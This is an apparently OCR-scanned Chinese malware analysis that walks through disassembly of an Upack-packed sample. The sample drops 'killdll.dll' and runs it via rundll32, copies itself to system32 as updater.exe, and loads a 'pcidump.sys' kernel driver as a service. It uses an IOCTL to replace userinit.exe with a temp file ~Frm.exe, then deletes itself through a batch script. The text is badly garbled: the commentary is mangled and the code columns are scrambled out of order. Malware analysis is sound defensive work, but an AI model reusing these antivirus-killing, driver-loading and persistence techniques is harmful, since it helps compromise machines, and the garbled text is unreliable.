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SRR T, SRR AL, BB killav LEBSRAT,  BTRUUR AN R 20T AN R AR
AFEAR WK/
ANBESAR, MR, 2288 Wl

A& 584 Upack 2.4 - 2.9 beta -> Dwing [Overlay]
SEiR L, OD NG, HUPHRERE ML Mo, 3 N

00426C60 85C0 test eax,eax

00426C62 - OF84 DFBOFDFF je g1[1].00401D47

00426C68 56 push esi

00426C69 97 xchg eax,edi

00426C6A FF53 FC call dword ptr ds:[ebx-4]

SR J57E 00426C62 - OF84 DFBOFDFF je g1[1].00401D47 ib i & 41 Wr vy«

eax==0, F91z1T, W), F8 —iX,

Bimrke s OEP 1

00401D47 55 push ebp ; advapi32.77DA0000
00401D48 8BEC mov ebp,esp

00401D4A 6A FF push -1

00401D4C 68 30614000 push g1[1].00406130

00401D51 68 FC384000 push g1[1].004038FC

00401D56 64:A1 00000000 mov eax,dword ptr fs:[0]

00401D5C 50 push eax

00401D5D 64:8925 00000000 mov dword ptr fs:[0],esp

00401D64 83EC 58 sub esp,58

00401D67 53 push ebx

00401D68 56 push esi

00401D69 57 push edi

00401D6A 8965 E8 mov dword ptr ss:[ebp-18],esp

00401D6D FF15 9C604000 call dword ptr ds:[40609C] ; kernel32.GetVersion

TR BE AR SRAT 9 20
—. (I RG, FIH PROCESSENTRY32 (145#), & [BI5ZdEFE) PID:

typedef struct tagPROCESSENTRY32

{

DWORD dwsSize; // 45t K/

DWORD cntUsage; // MLt f51HTHEL
DWORD th32ProcessID; // ##% ID;

DWORD th32DefaultHeapID; // HEFELERIAHE ID;
DWORD th32ModulelD; // @ Fifsidk ID;
DWORD cntThreads; // Mt@EFEIT 5 2t v 4
DWORD th32ParentProcessID; // Qi F+ ID;
LONG pcPriClassBase; // ZFEL5EHL;

DWORD dwFlags; // &£

char szExeFile[MAX_PATH]; // #fE44;

} PROCESSENTRY32;



00401685 E8 46FFFFFF

{

004015D0 / 81EC 28010000
004015D6 |. 56

004015D7 |. 57

004015D8 |. 33C0
004015DA |. B9 49000000
004015DF |. 8D7C24 0OC
004015E3 |.

004015EB |. 50

004015EC |. 6A 02
TH32CS_SNAPPROCESS
004015EE |. F3:AB
004015F0 |. E8 07060000
004015F5 |. 8BFO
004015F7 |. 83FE FF
004015FA |. 750B
004015FC |. 5F

004015FD |. 33C0
004015FF |. 5E

00401600 |. 81C4 28010000
00401606 |. C3

00401607 |> 8D4424 08
0040160B |.

00401613 |. 50

00401614 |. 56

00401615 |. E8 DC050000
0040161A |. 85C0
0040161C |. 7421
0040161E | 8B3D 80604000
kernel32.GetCurrentProcessld
00401624 |. FFD7
00401626 |. 394424 10
0040162A |. 7413
0040162C |> 8D4C24 08
00401630 |. 51

00401631 |. 56

00401632 |. E8 B9050000
00401637 |. FFD7
00401639 |. 394424 10
0040163D |.~ 75ED
0040163F |> 8B4424 20
00401643 |. 5F

00401644 |. 5E

00401645 |. 81C4 28010000
0040164B \. C3

call UnPacked.004015D0

sub esp,128
push esi
push edi
XOr eax,eax
mov ecx,49
lea edi,dword ptr ss:[esp+C]

C74424 08 00000000 mov dword ptr ss:[esp+8],0

push eax
push 2

rep stos dword ptr es:[edi]

; IRIFISCHEFE ) PID

; /ProcessID => 0
; |[Flags =

|

call <jmp.&kernel32.CreateToolhelp32Snapshot>; \CreateToolhelp32Snapshot

mov esi,eax
cmp esi,-1
jnz short UnPacked.00401607
pop edi
XOr eax,eax
pop esi
add esp,128
retn
lea eax,dword ptr ss:[esp+8]

C74424 08 28010000 mov dword ptr ss:[esp+8],128

push eax
push esi
call <jmp.&kernel32.Process32First>
test eax,eax
je short UnPacked.0040163F

call edi
cmp dword ptr ss:[esp+10],eax
je short UnPacked.0040163F
/lea ecx,dword ptr ss:[esp+8]
|push ecx
|[push esi
|call <jmp.&kernel32.Process32Next>
|call edi
[cmp dword ptr ss:[esp+10],eax
\jnz short UnPacked.0040162C
mov eax,dword ptr ss:[esp+20]
pop edi
pop esi
add esp,128
retn

mov edi,dword ptr

; /lppe
; |hShapshot
; \Process32First

ds:[<&kernel32.GetCurrentP>;

; [GetCurrentProcessld

; /ppe
; |hShapshot
; \Process32Next



T TR R
2N ) 74 e
004016D2 BF F8704000
00401794 BF E8704000
00401873 BF DC704000
fift % PR AL

0040170A E8 F1F8FFFF
{

IS -A7R

0040100F |. B8 02000000
00401014 |. 8B4D 0OC
00401017 |> 3106
00401019 |. 46

0040101A |.~E2FB

mov edi,UnPacked.004070F8 ; ANiknnfnn,fnn

mov edi,UnPacked.004070E8 ; Mpwlfnnl0,9zg

mov edi,UnPacked.004070DC ; iknncnn

call <UnPacked. fif 2 5 %>

mov eax,2

mov ecx,dword ptr ss:[ebp+C]
/xor dword ptr ds:[esi],eax

linc esi

\loopd short UnPacked.00401017

JIFART L Wt A7 B AL Ox2 S, Fris g R BIUE i 5 1) 745 i

HT A

ANiknnfnn,fan f# 2 40 \\killdILdll

Anpwlfnnl0,gzg fi# % \\rundll32.exe
iknnenn fi# 2 4 killall

=\ ARG Hx M) C:\WINDOWS\system32\\killdIl.dlI

0040178F
{

00401060
00401064
00401068
00401069
0040106A
0040106B
0040106C
0040106D
0040106F
00401075
00401077
00401079
0040107B
0040107C
0040107E
00401084
00401086
00401088

E8 CCF8FFFF

8B4424 0C
8B4C24 08

53

56

57

50

51

6A 00

FF15 68604000
8BFO

85F6

74 60

56

6A 00

FF15 6C604000
8BD8

85DB

74 51

call UnPacked.00401060 o g killdindil

mov eax,dword ptr ss:[esp+C]
mov ecx,dword ptr ss:[esp+8]

push ebx

push esi

push edi

push eax ; /ResourceType
push ecx ; |[ResourceName
push 0 ; |hModule = NULL

call dword ptr ds:[<&kernel32.FindResourceA>>; \FindResourceA
mov esi,eax

test esi,esi

je short UnPacked.004010DB

push esi ; /hResource

push 0 ; |hModule = NULL

call dword ptr ds:[ <&kernel32.SizeofResource>; \SizeofResource
mov ebx,eax
test ebx,ebx

je short UnPacked.004010DB



0040108A |. 56 push esi ; /hResource

0040108B |. 6A 00 push 0 ; |hModule = NULL
0040108D |. FF15 70604000 call dword ptr ds:[<&kernel32.LoadResource>] ; \LoadResource
00401093 |. 8BF8 mov edi,eax

00401095 |. 85FF test edi,edi

00401097 |. 7442 je short UnPacked.004010DB

00401099 |. 8B5424 10 mov edx,dword ptr ss:[esp+10]

0040109D |. 6A 00 push 0 ; /hTemplateFile = NULL
0040109F |. 6A 00 push 0 ; |Attributes = 0
004010A1 |. 6A02 push 2 ; |[Mode = Create_ ALWAYS
004010A3 |. 6A 00 push 0 ; |[pSecurity = NULL
004010A5 |. 6A 00 push 0 ; |ShareMode = 0
004010A7 |. 68 00000040 push 40000000 ; |Access =
GENERIC_WRITE

004010AC |. 52 push edx ; |FileName

004010AD |. FF15 74604000 call dword ptr ds:[ <&kernel32.CreateFileA>] ; \CreateFileA

004010B3 |. 8BFO mov esi,eax

004010B5 |. 85F6 test esi,esi

004010B7 |. 7504 jnz short UnPacked.004010BD

004010B9 |. 5F pop edi

004010BA |. 5E pop esi

004010BB |. 5B pop ebx

004010BC |. C3 retn

004010BD |> 8D4424 18 lea eax,dword ptr ss:[esp+18]

004010C1 |. 6A 00 push 0 ; /pOverlapped = NULL
004010C3 |. 50 push eax ; |pBytesWritten
004010C4 |. 53 push ebx ; |[nBytesToWrite
004010C5 |. 57 push edi ; |/nHandles

004010C6 |. FF15 78604000 call dword ptr ds:[<&kernel32.LockResource>] ; |\SetHandleCount
004010CC |. 50 push eax ; |Buffer

004010CD |. 56 push esi ; |hFile

004010CE |. FF15 7C604000 call dword ptr ds:[<&kernel32.WriteFile>] ; \WriteFile

004010D4 |. 56 push esi ; /hObject

004010D5 |. FF15 84604000 call dword ptr ds:[<&kernel32.CloseHandle>] ; \CloseHandle
004010DB |> 5F pop edi

004010DC |. 5E pop esi

004010DD |. 83C8 FF or eax,FFFFFFFF

004010E0 |. 5B pop ebx

004010E1 \. C3 retn

by

DU, AR killdilLdil FH rundli32.exe BT N4, 770 a7 .

004018E7 . 50 push eax ; /ShowState =>
SW_HIDE

004018E8 . F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi] ; |

004018EA . 8DBD FCFCFFFF lea edi,dword ptr ss:[ebp-304] i

004018F0 . 83C9 FF or ecx,FFFFFFFF Y

004018F3 . F2:AE repne scas byte ptr es:[edi] i

004018F5 . F7D1 not ecx .

004018F7 . 2BF9 sub edi,ecx H
004018F9 . 8BF7 mov esi,edi i



004018FB
004018FD
rundli32.exe
004018FF
00401902
00401904
00401906
00401907
0040190A
0040190C
0040190E
00401914
00401917
00401918
0040191A

8BD9
8BFA

83C9 FF

F2:AE

8BCB

4F

C1E9 02

F3:A5

8BCB

8D85 FCFDFFFF
83E1 03

50

F3:A4

FF15 2C604000

mov ebx,ecx
mov edi,edx

or ecx,FFFFFFFF

repne scas byte ptr es:[edi]

mov ecx,ebx
dec edi
shr ecx,2

; [killdIlLdll F A 2]

7
;| AR 77 20T
A
7
;|

4

rep movs dword ptr es:[edi],dword ptr ds:[es>; |

mov ecx,ebx

lea eax,dword ptr ss:[ebp-204]

and ecx,3
push eax

rep movs byte ptr es:[edi],byte ptr ds:[esi] ; |
call dword ptr ds:[ <&kernel32.WinExec>]

Ti TEGI H 3 N A ~Frm.exe, JFHETE

00401942
00401943
00401948
0040194E
00401954
00401959
0040195C
0040195E
00401960
00401962
00401964
00401969
0040196B
0040196D
0040196F
00401972
00401974
00401976
00401977
0040197A
0040197C
0040197E
00401984
00401987
00401989
0040198B
0040198C
~Frm.exe
00401991
00401994
0040199A

0040199C
0040199D

51

68 04010000
FF15 38604000
8D95 F8FBFFFF
BF D0704000
83C9 FF

33C0

F2:AE

F7D1

2BF9

68 74704000
8BF7

8BFA

8BD1

83C9 FF

F2:AE

8BCA

4F

C1E9 02

F3:A5

8BCA

8D85 F8FBFFFF
83E1 03

6A 7D

F3:A4

50

E8 CFF6FFFF

83C4 0C
8D8D F8FBFFFF
6A 05

51
FF15 2C604000

push ecx
push 104

; |CmdLine

; \WinExec

; /Buffer
; |BufSize = 104 (260.)

call dword ptr ds:[ <&kernel32.GetTempPathA>] ; \GetTempPathA

lea edx,dword ptr ss:[ebp-408]
mov edi,UnPacked.004070D0

or ecx,FFFFFFFF
XOor eax,eax

repne scas byte ptr es:[edi]

not ecx
sub edi,ecx

push UnPacked.00407074

mov esi,edi
mov edi,edx
mov edx,ecx

or ecx,FFFFFFFF

repne scas byte ptr es:[edi]

mov ecx,edx
dec edi
shr ecx,2

rep movs dword ptr es:[edi],dword ptr ds:[es>

mov ecx,edx

lea eax,dword ptr ss:[ebp-408]

and ecx,3
push 7D

rep movs byte ptr es:[edi],byte ptr ds:[esi]

push eax

call UnPacked.00401060

add esp,0C

lea ecx,dword ptr ss:[ebp-408]

push 5

push ecx

call dword ptr ds:[ <&kernel32.WinExec>]

; ~Frm.exe

: SERVER

;o PRI H %R A ot

; /ShowState = SW_SHOW

; |CmdLine
; \WinExec



75~ MHER C:\WINDOWS\system32\\killdIl.dll, 44 £ & i 31 C:\WINDOWS\system32 Hx T, fir4 4 updater.exe

kR killdil.dll:

004019AA

00401980
00401981

2l A 5 3| C:\WINDOWS\system32 H =% F, 1y % b updater.exe004019C4

104
004019C9
004019CB
004019D1
004019D2
004019D8
004019DD
004019E0
004019E2
004019E8
004019EA
004019EC
004019EE
004019F3
004019F5
004019F7
004019F9
004019FC
004019FE
00401A00
00401A01
00401A04
00401A06
00401A08
00401A0B
00401A0D
00401A12
00401A18
00401A1A
00401A1C
00401A1D
00401A23
00401A24
00401A26
00401A2C
00401A32

8D95 FAF8FFFF

52
FF15 24604000

F3:AB

8D85 FOF6FFFF

50

FF15 54604000

BF C0704000
83C9 FF

33C0

8D95 FOF6FFFF

F2:AE

F7D1

2BF9

68 FF000000

8BF7

8BFA

8BD1

83C9 FF

F2:AE

8BCA

4F

C1E9 02

F3:A5

8BCA

83E1 03

F3:A4

B9 3F000000

8DBD FOF5SFFFF

F3:AB

66:AB

AA

8D85 FOFSFFFF

50

6A 00

FF15 34604000

8D8D FOF6FFFF
6A 01

REPLACE EXISTING

00401A34
00401A3A
00401A3B
00401A3C

8D95 FOFSFFFF
51
52
FF15 4C604000

lea edx,dword ptr ss:[ebp-70C]
push edx ; /FileName
call dword ptr ds:[<&kernel32.DeleteFileA>] ; \DeleteFileA

68 04010000 push
; /BufSize = 104 (260.)
rep stos dword ptr es:[edi] 3
lea eax,dword ptr ss:[ebp-910] 3
push eax ; |Buffer

call dword ptr ds:[<&kernel32.GetSystemDirec>; \GetSystemDirectoryA
mov edi,UnPacked.004070C0
or ecx,FFFFFFFF

XOr eax,eax

; \updater.exe

lea edx,dword ptr ss:[ebp-910]
repne scas byte ptr es:[edi]
not ecx
sub edi,ecx
push OFF ; /BufSize = FF (255.)
mov esi,edi 3
mov edi,edx
mov edx,ecx 3
or ecx,FFFFFFFF 3
repne scas byte ptr es:[edi]
mov ecx,edx 3
dec edi 3
shr ecx,2
rep movs dword ptr es:[edi],dword ptr ds:[es>; |
mov ecx,edx
and ecx,3 3
rep movs byte ptr es:[edi],byte ptr ds:[esi] ; |
mov ecx,3F 5 |
lea edi,dword ptr ss:[ebp-A10] 5 |
rep stos dword ptr es:[edi] 3
stos word ptr es:[edi] 3
stos byte ptr es:[edi]
lea eax,dword ptr ss:[ebp-A10] 5 |
push eax ; |PathBuffer
push 0 ; [hModule = NULL
call dword ptr ds:[<&kernel32.GetModuleFileN>; \GetModuleFileNameA
lea ecx,dword ptr ss:[ebp-910]
push 1 ; /Flags =

lea edx,dword ptr ss:[ebp-A10]

push ecx ; INewName
push edx ; |[ExistingName
call dword ptr ds:[<&kernel32.MoveFileExA>] ; \MoveFileExA



4. C:\WINDOWS\system32\drivers ‘£ &4z 2 #F pcidump.sys

00401B8B . EB8 60F5FFFF

call UnPacked.004010F0

I\ A RSS,  H Kk N4k 3l pcidump.sys

00401B97 . ES8 14F6FFFF

{

004011B0 / 83EC 1C sub esp,1C

004011B3 |. 56 push esi

004011B4 |. 68 3FO00F00 push OFO03F

004011B9 |. 6A 00 push 0

004011BB |. 6A 00 push 0

004011BD | FF15 18604000 call dword ptr
advapi32.0penSCManagerA

004011C3 |. 8BFO mov esi,eax

004011C5 |. 85F6 test esi,esi

004011C7 |. OF84 0D010000
004011CD |[. 53
004011CE |. 8B5C24 28
004011D2 |. 55
004011D3 |. 57
004011D4 |. 6A 00
004011D6 |. 6A 00
NULL

004011D8 |. 6A 00
004011DA |. 6A 00
004011DC |. 6A00

004011DE |. 8B2D 00604000

004011E4 |. 53

004011E5 |. 6A 00
SERVICE_ERROR_IGNORE
004011E7 |. 6A 03
SERVICE_DEMAND_START
004011E9 |. 6A 01
SERVICE_KERNEL_DRIVER
004011EB |. 68 FFO010FO00
SERVICE_ALL_ACCESS

004011F0 |. 68 7C704000
"pcidump”
004011F5 |. 68 7C704000
"pcidump”

004011FA |. 56
004011FB |. FFD5
004011FD |. 85CO0
004011FF |. 755A
00401201 |. 68 FFO10FO00
00401206 |. 68 7C704000
0040120B |. 56
0040120C |. FF15 04604000

call UnPacked.004011B0

je UnPacked.004012DA
push ebx

mov ebx,dword ptr ss:[esp+28]

push ebp

push edi

push 0
push 0

push 0
push 0
push 0

; QUEIKE) pcidump.sys

;o B R S5 ORI K B

ds:[<&advapi32.0penSCManagerA>;

; [Password = NULL
; |ServiceStartName =

; |pDependencies = NULL
; |pTagld = NULL
; |LoadOrderGroup = NULL

mov ebp,dword ptr ds:[<&advapi32.CreateServi>; |advapi32.CreateServiceA

push ebx
push 0

push 3
push 1
push OFO1FF
push UnPacked.0040707C
push UnPacked.0040707C
push esi
call ebp
test eax,eax
jnz short UnPacked.0040125B
push OFO1FF

push UnPacked.0040707C
push esi

call dword ptr ds:[<&advapi32.0penServiceA>] ;

; |BinaryPathName
; |ErrorControl =

; |StartType =

; |ServiceType =

; |DesiredAccess =

; |DisplayName =

; |ServiceName =

; |hManager
; \CreateServiceA

; ASCII "pcidump"

advapi32.0penServiceA



advapi32.ControlService

advapi32.DeleteService

ds:[<&advapi32.CloseServiceHa>;

; ASCII "pcidump"
; ASCII "pcidump"

ds:[<&advapi32.CloseServiceHa>;

; ASCII "pcidump"

advapi32.0penServiceA

advapi32.StartServiceA

ds:[<&advapi32.CloseServiceHa>;

00401212 |. 8BF8 mov edi,eax

00401214 |. 85FF test edi,edi

00401216 |. 74 1C je short UnPacked.00401234

00401218 |. 8D4424 10 lea eax,dword ptr ss:[esp+10]
0040121C |. 50 push eax

0040121D |. 6A 01 push 1

0040121F |. 57 push edi

00401220 |. FF15 08604000 call dword ptr ds:[ <&advapi32.ControlService>;
00401226 |. 57 push edi

00401227 |. FF150C604000 call dword ptr ds:[ <&advapi32.DeleteService>>;
0040122D |. 57 push edi

0040122E | FF15 10604000 call dword ptr
advapi32.CloseServiceHandle

00401234 |> 6A 00 push 0

00401236 |. 6A 00 push 0

00401238 |. 6A 00 push 0

0040123A |. 6A 00 push 0

0040123C |. 6A 00 push 0

0040123E |. 53 push ebx

0040123F |. 6A 00 push 0

00401241 |. 6A 03 push 3

00401243 |. 6A 01 push 1

00401245 |. 68 FFO10F00 push OFO1FF

0040124A |. 68 7C704000 push UnPacked.0040707C

0040124F |. 68 7C704000 push UnPacked.0040707C

00401254 |. 56 push esi

00401255 |. FFD5 call ebp

00401257 |. 85C0 test eax,eax

00401259 |. 7466 je short UnPacked.004012C1

0040125B |> 50 push eax

0040125C | FF15 10604000 call dword ptr
advapi32.CloseServiceHandle

00401262 |. 6A 10 push 10

00401264 |. 68 7C704000 push UnPacked.0040707C

00401269 |. 56 push esi

0040126A |. FF15 04604000 call dword ptr ds:[<&advapi32.0penServiceA>] ;
00401270 |. 8BF8 mov edi,eax

00401272 |. 85FF test edi,edi

00401274 |. 74 4B je short UnPacked.004012C1

00401276 |. 6A 00 push 0

00401278 |. 6A 00 push 0

0040127A |. 57 push edi

0040127B |. FF15 14604000 call dword ptr ds:[<&advapi32.StartServiceA>>;
00401281 |. 85C0 test eax,eax

00401283 |. 7520 jnz short UnPacked.004012A5

00401285 |. FF15 20604000 call dword ptr ds:[<&kernel32.GetLastError>] ; [GetLastError
00401288 |. 57 push edi

0040128C |. 8BDS8 mov ebx,eax

0040128E | FF15 10604000 call dword ptr
advapi32.CloseServiceHandle

00401294 |. 56 push esi

00401295 | FF15 10604000 call dword ptr

ds:[<&advapi32.CloseServiceHa>;



advapi32.CloseServiceHandle

0040129B |. 5F
0040129C |. 8BC3
0040129E |. 5D
0040129F |. 5B
004012A0 |. 5E
004012A1 |. 83C4 1C
004012A4 |. C3
004012A5 |> 8B5C24 30
004012A9 |. 57
004012AA | FF15
advapi32.CloseServiceHandle
004012B0 |. 56
004012B1 . FF15
advapi32.CloseServiceHandle
004012B7 |. 5F
004012B8 |. 8BC3
004012BA |. 5D
004012BB |. 5B
004012BC |. 5E
004012BD |. 83C4 1C
004012C0 |. C3
004012C1 |> FF15 20604000
004012C7 |. 56
004012C8 |. 8BDS8
004012CA | FF15
advapi32.CloseServiceHandle
004012D0 |. 5F
004012D1 |. 8BC3
004012D3 |. 5D
004012D4 |. 5B
004012D5 |. 5E
004012D6 |. 83C4 1C
004012D9 |. C3
004012DA |> FF15 20604000
004012E0 |. 5E
004012E1 |. 83C4 1C
004012E4 \. C3

by

10604000 call

10604000 call

10604000 call

pop edi
mov eax,ebx
pop ebp
pop ebx
pop esi
add esp,1C
retn
mov ebx,dword ptr ss:[esp+30]
push edi
dword ptr ds:[<&advapi32.CloseServiceHa>;
push esi
dword ptr ds:[<&advapi32.CloseServiceHa>;
pop edi
mov eax,ebx
pop ebp
pop ebx
pop esi
add esp,1C
retn
call dword ptr ds:[ <&kernel32.GetLastError>] ; [GetLastError
push esi
mov ebx,eax
dword ptr ds:[<&advapi32.CloseServiceHa>;
pop edi
mov eax,ebx
pop ebp
pop ebx
pop esi
add esp,1C
retn
call dword ptr ds:[<&kernel32.GetLastError>] ; [GetLastError
pop esi
add esp,1C
retn

Jus BUEIRENETE, HRIEAT KB

00401BAA
{

00401360
00401361
00401363
00401366
00401367
00401368
00401369

E8 B1F7FFFF

55
8BEC
83EC 10
53
56
57

60

call UnPacked.00401360 ;o BN
push ebp
mov ebp,esp
sub esp,10
push ebx
push esi
push edi
pushad ;



T T

0040136A F5

0040136B 90
0040136C F5
0040136D 90
0040136E 74 0D
00401370 75 0B
00401372 E8
00401373 CC
00401374 E9
00401375 .~NE1E2
00401377 .~ E3E4
00401379 ES5 E6
0040137B E7 E8
0040137D > 61
I
0040137E 68 90010000
00401383 6A 01
00401385 E8 E1080000
0040138A 6A 08
0040138C 6A 01
0040138E 8BD8
00401390 E8 D6080000
00401395 83C4 10
00401398 8945 FC
00401398 6A 00
0040139D 68 80000000
004013A2 6A 03
OPEN_EXISTING

004013A4 6A 00
004013A6 6A 00
004013A8 68 000000CO

GENERIC_READ|GENERIC_WRITE

004013AD 68 84704000
"\\.\pcidump"

004013B2 FF15 74604000
004013B8 8945 FO
004013BB FF15 20604000
004013C1 8B7D 0C
004013C4 83C9 FF
004013C7 33C0
004013C9 8D93 C8000000
004013CF F2:AE
004013D1 F7D1
004013D3 2BF9
004013D5 8955 F4
004013D8 8BC1
004013DA 8BF7
004013DC 8BFB
004013DE C1E9 02
004013E1 F3:A5
004013E3 8BC8

cmce
nop

cmce

nop

je short UnPacked.0040137D ;
jnz short UnPacked.0040137D

db E8

int3

db E9

loopde short UnPacked.00401359
jecxz short UnPacked.0040135D

in eax,0E6

out OE8,eax

popad

push 190
push 1
call UnPacked.00401C6B
push 8
push 1
mov ebx,eax
call UnPacked.00401C6B
add esp,10
mov dword ptr ss:[ebp-4],eax
push 0
push 80
push 3

push 0
push 0
push C0000000

push UnPacked.00407084

call dword ptr ds:[ <&kernel32.CreateFileA>]
mov dword ptr ss:[ebp-10],eax
call dword ptr ds:[<&kernel32.GetLastError>] ; [GetLastError
mov edi,dword ptr ss:[ebp+C]
or ecx,FFFFFFFF
XOr eax,eax
lea edx,dword ptr ds:[ebx+C8]
repne scas byte ptr es:[edi]
not ecx
sub edi,ecx
mov dword ptr ss:[ebp-C],edx
MoV eax,ecx
mov esi,edi
mov edi,ebx
shr ecx,2
rep movs dword ptr es:[edi],dword ptr ds:[es>
MoV ecx,eax

; \CreateFileA

AR S, HELME

; /hTemplateFile = NULL
; |Attributes = NORMAL

; |Mode

; |pSecurity = NULL
; |ShareMode = 0

; |Access

; |FileName



004013E5
004013E7
004013EA
004013EC
004013EF
004013F2
004013F4
004013F6
004013F8
004013FA
004013FC
004013FE
00401400
00401403
00401405
00401407
00401409
0040140A
0040140D
0040140F
00401411
00401414
00401416
00401419
0040141C
0040141F
00401421
00401424
00401426
00401428
0040142B
0040142D
0040142E
00401430
00401432
00401435
00401437
00401438
222014

0040143D
0040143E
00401444
00401446
00401448
0040144B
0040144E
0040144F
00401454
00401455
0040145A
0040145D
0040145F

33C0
83E1 03
F3:A4
8B7D 08
83C9 FF
F2:AE
F7D1
2BF9
8BC1
8BF7
8BFA
8BDO
83C9 FF
33C0
F2:AE
8BCA
4F

C1E9 02
F3:A5
8BCA
83E1 03
F3:A4
895D FC
8B45 F4
8945 00
33C0
8B45 FO
85C0

74 20
8D4D F8
6A 00
51

6A 00
6A 00
8D55 FC
6A 08
52

68 14202200

50
FF15 28604000
33F6
EB 03
83CE FF
8B45 FC
50
E8 AE070000
53
E8 A8070000
83C4 08
8BC6
5F

XOr eax,eax
and ecx,3

rep movs byte ptr es:[edi],byte ptr ds:[esi]
mov edi,dword ptr ss:[ebp+8]

or ecx,FFFFFFFF

repne scas byte ptr es:[edi]

not ecx

sub edi,ecx

MoV eax,ecx

mov esi,edi

mov edi,edx

mov edx,eax

or ecx,FFFFFFFF

XOr eax,eax

repne scas byte ptr es:[edi]

mov ecx,edx

dec edi

shr ecx,2

rep movs dword ptr es:[edi],dword ptr ds:[es>
mov ecx,edx

and ecx,3

rep movs byte ptr es:[edi],byte ptr ds:[esi]
mov dword ptr ss:[ebp-4],ebx

mov eax,dword ptr ss:[ebp-C]

mov dword ptr ss:[ebp],eax

XOr eax,eax

mov eax,dword ptr ss:[ebp-10]

test eax,eax
je short UnPacked.00401448

lea ecx,dword ptr ss:[ebp-8]

push 0 ; /pOverlapped = NULL
push ecx ; |pBytesReturned
push 0 ; |OutBufferSize = 0
push 0 ; |OutBuffer = NULL
lea edx,dword ptr ss:[ebp-4] |
push 8 ; |InBufferSize = 8
push edx ; |InBuffer
push 222014 ; |IoControlCode =
push eax ; |hDevice

call dword ptr ds:[ <&kernel32.DeviceloContro>; \DeviceloControl
Xor esi,esi
jmp short UnPacked.0040144B
or esi,FFFFFFFF
mov eax,dword ptr ss:[ebp-4]
push eax
call UnPacked.00401C02
push ebx
call UnPacked.00401C02
add esp,8
mov eax,esi
pop edi



00401460 . 5E pop esi

00401461 . 5B pop ebx
00401462 . 8BE5 mov esp,ebp
00401464 . 5D pop ebp
00401465 . C3 retn

by

%X B 1 H R e 3R AT 3 {5 k15 2 userinit.exe, % C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~Frm.exe ffi A 3
C:\WINDOWS\system32\userinit.exe, Kz ITFHLE 5

0012F50C 0012F92C ASCII "\??\C:\WINDOWS\system32\userinit.exe"
0012F510 0012F728 ASCII "\??\C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~Frm.exe"
0012F514 0012FA2C ASCII "C:\WINDOWS\system32\drivers\pcidump.sys"

o EEEZIKE, RIEHERZ

004012F0 /. 83EC 1C sub esp,1C

004012F3 |. 57 push edi

004012F4 |. 6A 02 push 2

004012F6 |. 6A 00 push 0

004012F8 |. 6A 00 push 0

004012FA | FF15 18604000 call dword ptr ds:[<&advapi32.0penSCManagerA>;
advapi32.0penSCManagerA

00401300 |. 8BF8 mov edi,eax

00401302 |. 85FF test edi,edi

00401304 |. 74 3C je short UnPacked.00401342

00401306 |. 53 push ebx

00401307 |. 56 push esi

00401308 |. 68 20000100 push 10020 ; UNICODE
"PROFILE=C:\Documents and Settings\All Users"

0040130D |. 68 7C704000 push UnPacked.0040707C ; ASCII "pcidump"”
00401312 |. 57 push edi

00401313 |. FF15 04604000 call dword ptr ds:[<&advapi32.0penServiceA>] ; advapi32.0penServiceA
00401319 | 8B1D 10604000 mov ebx,dword ptr ds:[<&advapi32.CloseServic>;
advapi32.CloseServiceHandle

0040131F |. 8BFO mov esi,eax

00401321 |. 85F6 test esi,esi

00401323 |. 7418 je short UnPacked.0040133D

00401325 |. 8D4424 0C lea eax,dword ptr ss:[esp+C]

00401329 |. 50 push eax

0040132A |. 6A01 push 1

0040132C |. 56 push esi

0040132D |. FF15 08604000 call dword ptr ds:[ <&advapi32.ControlService>; advapi32.ControlService
00401333 |. 56 push esi

00401334 |. FF15 0C604000 call dword ptr ds:[<&advapi32.DeleteService>>; advapi32.DeleteService
0040133A |. 56 push esi

0040133B |. FFD3 call ebx ;
<&advapi32.CloseServiceHandle>

0040133D |> 57 push edi

0040133E |. FFD3 call ebx

00401340 |. 5E pop esi

00401341 |. 5B pop ebx



00401342
00401346
00401347
0040134D
0040134E
00401351

|> 8B4C24 24

l.
l.
.
.
\

51

FF15 24604000
5F

83C4 1C

C3

mov ecx,dword ptr ss:[esp+24]
push ecx
call dword ptr ds:[<&kernel32.DeleteFileA>]
pop edi
add esp,1C
retn

; /FileName
; \DeleteFileA

+—. ZEIWGIN SO R Al AL BE undelme.bat, JFHIE T, HBEHSRMEE B 5

00401BD2
{

00401470
00401476
0040147D
0040147E
0040147F
00401480
00401481
00401486
0040148C
00401491
00401494
00401496
0040149D
0040149F
004014A1
004014A3
004014A8
004014AA
004014AC
004014AE
004014B1
004014B3
004014B5
00401486
004014B9
004014BB
004014BD
004014C1
004014C4
004014C5
004014C7
004014C9
004014CF
004014D3
104 (260.)
004014D8
004014DC
004014DD
004014DE
004014E4
004014E8

E8 99F8FFFF

81EC 04050000
8D8424 08010000
53

56

57

50

68 04010000
FF15 38604000
BF 20614000
83C9 FF

33C0

8D9424 14010000
F2:AE

F7D1

2BF9

68 04010000
8BF7

8BD9

8BFA

83C9 FF

F2:AE

8BCB

4F

C1E9 02

F3:A5

8BCB

8D4424 14
83E1 03

50

F3:A4

6A 00

FF15 34604000
8D4C24 10

68 04010000

8D5424 14

51

52

FF15 30604000
8D7C24 10
83C9 FF

call UnPacked.00401470 ;o MBS

sub esp,504

lea eax,dword ptr ss:[esp+108]

push ebx
push esi
push edi
push eax ; /Buffer

push 104 ; |BufSize = 104 (260.)
call dword ptr ds:[<&kernel32.GetTempPathA>] ; \GetTempPathA

mov edi,UnPacked.00406120 ; ASCII "_undelme.bat"
or ecx,FFFFFFFF

XOr eax,eax

lea edx,dword ptr ss:[esp+114]

repne scas byte ptr es:[edi]

not ecx

sub edi,ecx

push 104 ; /BufSize = 104 (260.)
mov esi,edi B
mov ebx,ecx B
mov edi,edx B
or ecx,FFFFFFFF H
repne scas byte ptr es:[edi] Y
mov ecx,ebx ;
dec edi Y
shr ecx,2 i
rep movs dword ptr es:[edi],dword ptr ds:[es>; |
mov ecx,ebx B

lea eax,dword ptr ss:[esp+14] o
and ecx,3 B
push eax ; |PathBuffer
rep movs byte ptr es:[edi],byte ptr ds:[esi] ; |
push 0 ; |hModule = NULL
call dword ptr ds:[ <&kernel32.GetModuleFileN>; \GetModuleFileNameA
lea ecx,dword ptr ss:[esp+10]

push 104 ; /MaxShortPathSize =
lea edx,dword ptr ss:[esp+14] Y
push ecx ; |ShortPath

push edx ; |[LongPath

call dword ptr ds:[ <&kernel32.GetShortPathNa>; \GetShortPathNameA
lea edi,dword ptr ss:[esp+10]
or ecx,FFFFFFFF



004014EB |. 33CO0
